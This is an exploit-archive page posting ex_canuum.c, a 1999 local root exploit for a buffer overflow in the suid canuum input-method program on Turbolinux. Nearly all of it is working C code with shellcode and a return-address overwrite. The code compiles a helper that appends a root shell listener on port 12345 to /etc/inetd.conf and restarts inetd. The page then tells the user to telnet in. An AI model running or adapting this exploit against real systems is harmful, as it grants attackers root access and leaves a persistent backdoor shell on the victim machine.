what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

ex_canuum.c

ex_canuum.c
Posted Oct 7, 1999
Authored by Unyun | Site shadowpenguin.backsection.net

I found the security vulnerability in canumm Japanese Kana-Kanji FEP. This program is installed on Turbolinux series with default. /usr/jp/canna/bin/canuum is a suid program. It overflows if the long argment is specified with many kind of options such as -k, -c, -n. I coded an exploit for the Linux, the local user can obtain a root privilege.

tags | exploit, overflow, local, root
systems | linux
SHA-256 | 541df7e6ab602ad5a839835c476c08199b3ad305b9c2ab1b0611a680b6196c18

ex_canuum.c

Change Mirror Download
/*=============================================================================
canuum Exploit for Linux
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdio.h>

#define RETADR 1676
#define MAXBUF 2000
#define JMP_OFS 0x200
#define NOP 0x90
#define SHELL "/tmp/pp"
#define COMPILER "gcc"


char exec[60]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff";
FILE *fp;

unsigned long get_sp(void)
{
__asm__("movl %esp, %eax");
}

main()
{
char buf[MAXBUF+1];
unsigned int i,ip,sp;

sprintf(buf,"%s.c",SHELL);
if ((fp=fopen(buf,"w"))==NULL){
printf("Can not write to %s\n",buf);
exit(1);
}
fprintf(fp,"main(){setuid(0);setgid(0);");
fprintf(fp,"system(\"echo 12345 stream tcp nowait root /bin/sh sh -i");
fprintf(fp," >> /etc/inetd.conf; killall -HUP inetd\");}\n");
fclose(fp);
sprintf(buf,"%s %s.c -o %s",COMPILER,SHELL,SHELL);
system(buf);

memset(buf,'a',MAXBUF);
buf[MAXBUF]=0;

strcat(exec,SHELL);
memcpy(buf+300,exec,strlen(exec));
sp=get_sp();
ip=sp+JMP_OFS;
printf("Jumping address = %x\n\n\n",ip);
printf("Please execute following command after \"Segmentation Fault\"\n");
printf("\ntelnet localhost 12345\n\n\n");
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
execl("/usr/jp/canna/bin/canuum","canuum","-k",buf,(char *)0);
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close